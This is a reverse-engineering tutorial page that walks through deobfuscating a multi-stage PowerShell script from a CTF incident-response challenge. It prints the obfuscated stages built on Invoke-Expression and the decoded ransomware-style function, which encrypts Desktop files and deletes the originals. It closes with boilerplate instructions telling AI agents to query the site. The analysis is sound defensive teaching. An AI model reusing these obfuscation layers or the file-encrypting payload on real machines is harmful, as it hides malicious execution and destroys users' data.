# PowerShell

Obfuscating PowerShell is a real art, and there are many ways to encode scripts in weird ways. Luckily, most of them work in the same way: 1. **Decoding some string** and 2. **Executing that string** as another stage in the script.&#x20;

Often this is a task of finding the part that *executes* the code, removing it, and instead printing the code so you can analyze it further.&#x20;

I will explain this process with an **example**. This is taken from the *NahamConCTF 2023 - IR* challenge, which provided the following PowerShell script:

{% file src="/files/dgwTqaLmVW45uKsjmmVc" %}
Obfuscated PowerShell script from the *NahamConCTF 2023 - IR* challenge
{% endfile %}

It starts off with a lot of special characters that are supposed to evaluate into something:

{% code overflow="wrap" fullWidth="false" %}

```powershell
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"]; "${"}${.}${(}+${"}${]}${)}+${"}${)}${@}+${"}${+}${+}${&}+${"}${+}${+}${(}+${"}${)}${)}+${"}${)}${=}+${"}${|}${&}+${"}${(}${)}+${"}${]}${=}+${"}${&}${@}+${"}${)}${+}+${"}$
...
```

{% endcode %}

A common way to make a little sense of this is to format it, like adding **newlines** after `;` semicolons. In this case, however, there are semicolons used all over the place, not just as statement enders. To do this more cleanly we'll use the [`PowerShell-Beautifier`](https://github.com/DTW-DanWard/PowerShell-Beautifier) script to parse and format these statements, which will then allow us to separate a `${;}` from a `;` as only the second has a space after it.&#x20;

```powershell
PS> Install-Module -Name PowerShell-Beautifier
PS> Edit-DTWBeautifyScript -Source .\updates.ps1 -Destination .\stage0.ps1
```

When we afterward replace `;` with `;\n` in an IDE like Visual Studio Code, we find a more slightly more readable script:

```powershell
${;} = + $(); 
${=} = ${;}; 
${+} =++ ${;}; 
${@} =++ ${;}; 
${.} =++ ${;}; 
${[} =++ ${;}; 
${]} =++ ${;}; 
${(} =++ ${;}; 
${)} =++ ${;}; 
${&} =++ ${;}; 
${|} =++ ${;}; 
${"} = "[" + "$(@{})"[${)}] + "$(@{})"["${+}${|}"] + "$(@{})"["${@}${=}"] + "$?"[${+}] + "]"; 
${;} = "".("$(@{})"["${+}${[}"] + "$(@{})"["${+}${(}"] + "$(@{})"[${=}] + "$(@{})"[${[}] + "$?"[${+}] + "$(@{})"[${.}]); 
${;} = "$(@{})"["${+}${[}"] + "$(@{})"[${[}] + "${;}"["${@}${)}"]; 
"${"}${.}${(}+${"}${]}${)}+${"}${)}${@}+${"}${+}${+}${&}+${"}${+}${+}${(}+${"}${)}${)}+${"}${)}${=}+${"}${|}${&}+${"}${(}${)}+${"}${]}${=}+${"}${&}${@}+${"}${)}${+}+${"}${)}${[}+${"}${&}${&}+${"}${]}${[}+${"}${&}${|}+${"}${)}${|}+${"}${(}${]}+${"}${&}${.}+${"}${+}${=}${(}+${"}${)}${&}+${"}${+}
...
```

First, it defines a few variables with the `${}` syntax, and after, it uses those variables in a giant string. The first few variables are some primitives, and the last 3 variables seem to be more complicated but still short. We could statically try to reason with this, but a much simpler way would be to just let PowerShell **evaluate** it for us. Let's run the first few lines making sure nothing can trigger a payload on our investigating machine:

<pre class="language-powershell"><code class="lang-powershell">${;} = + $(); 
${=} = ${;}; 
${+} =++ ${;}; 
${@} =++ ${;}; 
${.} =++ ${;}; 
${[} =++ ${;}; 
${]} =++ ${;}; 
${(} =++ ${;}; 
${)} =++ ${;}; 
${&#x26;} =++ ${;}; 
${|} =++ ${;}; 
${"} = "[" + "$(@{})"[${)}] + "$(@{})"["${+}${|}"] + "$(@{})"["${@}${=}"] + "$?"[${+}] + "]"; 
${;} = "".("$(@{})"["${+}${[}"] + "$(@{})"["${+}${(}"] + "$(@{})"[${=}] + "$(@{})"[${[}] + "$?"[${+}] + "$(@{})"[${.}]); 
${;} = "$(@{})"["${+}${[}"] + "$(@{})"[${[}] + "${;}"["${@}${)}"]; 

<strong>PS> ${"}
</strong>[CHar]
<strong>PS> ${;}
</strong>iex
</code></pre>

Here we find a very important string: `iex` which means **I**nvoke-**Ex**pression. This will take a string, and execute it as PowerShell code, which is very common for these obfuscators. We need to be careful to **remove** this part to make sure our code is not actually run, only the string is evaluated for us.&#x20;

All the way at the end of the script we find:

```bash
...${]}${|}|${;}" | &${;};
```

We will remove this `${;}` now that we know it means to evaluate and run the code, and instead replace it with a `Write-Output` command which simply prints it to the console:

```bash
...${]}${|}|${;}" | Write-Output
```

Running this safe script now prints the next stage of the script, obfuscated in a different way:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>PS> .\stage0.ps1 > stage1.ps1
</strong>
[CHar]36+[CHar]57+[CHar]72+[CHar]118+[CHar]116+[CHar]77+[CHar]70+[CHar]98+[CHar]67+[CHar]50+[CHar]82+[CHar]71+[CHar]74+[CHar]88+[CHar]54+[CHar]89+[CHar]79+[CHar]65+[CHar]83+[CHar]106+[CHar]78+[CHar]101+[CHar]66+[CHar]120+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]61+[CHar]107+[CHar]105+[CHar]73+[CHar]119+[CHar]108+[CHar]109+[CHar]101+[CHar]117+[CHar]65+[CHar]51+[CHar]98+[CHar]48+[CHar]116+[CHar]50
...
[CHar]86+[CHar]32+[CHar]59|iex
</code></pre>

It uses a very similar scheme, building out a script and then evaluating it with `iex`, literally this time. In a very similar fashion to last time, we'll simply remove the trigger of the payload and only print it using `Write-Output`:

```
...
[CHar]86+[CHar]32+[CHar]59 | Write-Output
```

When we now execute the safe script, we find another stage:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>PS> .\stage1.ps1 > stage2.ps1
</strong>
$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJCKggGdhBFbhJXZ0lGTtASblRXStUmdv1WZSpQD5R2biRCI5R2bC1CIi42bpRXYyRHbpZGel9SbvNmLyV2ajFGasxWZoNncld3bwVGa05yd3d3LvozcwRHdoJCIpJXVtACdz9GUgQ2boRXZN1CI0NXZ1FXZyJWZX1SZr9mdulkCN0XY0FGRlxWaGBXa6RSPlxWamtHQgQ3YlpmYPRXdw5WStAibvNnSt8GV0JXZ252bDBSPgkHZvJGJK0QKzVGd5JUZslmRwlmekgyZulmc0NFN2U2chJ0bUpjOdRnclZnbvN0Wg0DIhRXYEVGbpZEcppHJK0QZ0lnQgcmbpR2bj5WRtAydhJVLgkiIwlmeuA3b0t2c
...
N3bwBCL9VWdyR3ek0Tey9GdhRmbh1EKyVGdl1WYyFGUblQCK0AKtFmchBVCK0wezVGbpZEdwlncj5WZg42bpR3YuVnZ" ; $OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray() ; [array]::Reverse($OaET) ; -join $OaET 2>&#x26;1> $null ; $biPIv9ahScgYwGXl0FyV = [SySteM.tExt.EnCOding]::uTf8.GetStRIng([SySTEm.COnVerT]::FrombASe64StRINg("$OaET")) ; $ehyGknDcqxFwCYJz5vfot4T8 = "iN"+"vo"+"Ke"+"-e"+"xP"+"RE"+"ss"+"Io"+"n" ; neW-aLIAs -NAme PwN -VAlUE $ehyGknDcqxFwCYJz5vfot4T8 -forCE ; pWN $biPIv9ahScgYwGXl0FyV ;
</code></pre>

This is another nightmare one-liner, but we'll simply use the `PowerShell-Beautifier` trick together with replacing `;` with `;\n` to make it more readable:

<pre class="language-powershell"><code class="lang-powershell"><strong>PS> Edit-DTWBeautifyScript -Source .\stage2.ps1 -Destination .\stage2.ps1
</strong>
$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJC...zVGbpZEdwlncj5WZg42bpR3YuVnZ";
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray();
[array]::Reverse($OaET);
-join $OaET 2>&#x26;1 > $null;
$biPIv9ahScgYwGXl0FyV = [System.Text.Encoding]::uTf8.GetStRIng([System.Convert]::FrombASe64StRINg("$OaET"));
$ehyGknDcqxFwCYJz5vfot4T8 = "iN" + "vo" + "Ke" + "-e" + "xP" + "RE" + "ss" + "Io" + "n";
New-Alias -Name PwN -Value $ehyGknDcqxFwCYJz5vfot4T8 -Force;
pWN $biPIv9ahScgYwGXl0FyV;
</code></pre>

Pretty clearly we can read the string concatenation in `$ehyGknDcqxFwCYJz5vfot4T8` is another `Invoke-Expression`. This is assigned to a `New-Alias` as `PwN`. Later we see this alias used on another string, which would be executed as code. So instead, we again replace this with a `Write-Console` to find what it does:

```powershell
$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJC...zVGbpZEdwlncj5WZg42bpR3YuVnZ";
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray();
[array]::Reverse($OaET);
-join $OaET 2>&1 > $null;
$biPIv9ahScgYwGXl0FyV = [System.Text.Encoding]::uTf8.GetStRIng([System.Convert]::FrombASe64StRINg("$OaET"));
Write-Output $biPIv9ahScgYwGXl0FyV;
```

Running this final stage we find the clean source code:

<pre class="language-powershell"><code class="lang-powershell"><strong>PS>  .\stage2.ps1 > stage3.ps1
</strong>
function encryptFiles{
	Param(
		[Parameter(Mandatory=${true}, position=0)]
		[string] $baseDirectory
	)
	foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
		if ($File.extension -ne ".enc"){
			$DestinationFile = $File.FullName + ".enc"
			$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
			...
			$FileStreamWriter.Close()
			Remove-Item -LiteralPath $File.FullName
		}
	}
}
$flag = "flag{892a8921517dcecf90685d478aedf5e2}"
$ErrorActionPreference= 'silentlycontinue'
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
...
</code></pre>

In this challenge, the flag was found here. But in other cases, you might want to understand the `encryptFiles` function now to find how files are encrypted, and how they can be decrypted.&#x20;

> For another example that digs more into understanding the payload, see this [walkthrough](https://www.youtube.com/watch?v=GguO_Oc0h5A) of another piece of obfuscated PowerShell malware.&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.jorianwoltjer.com/reverse-engineering/powershell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
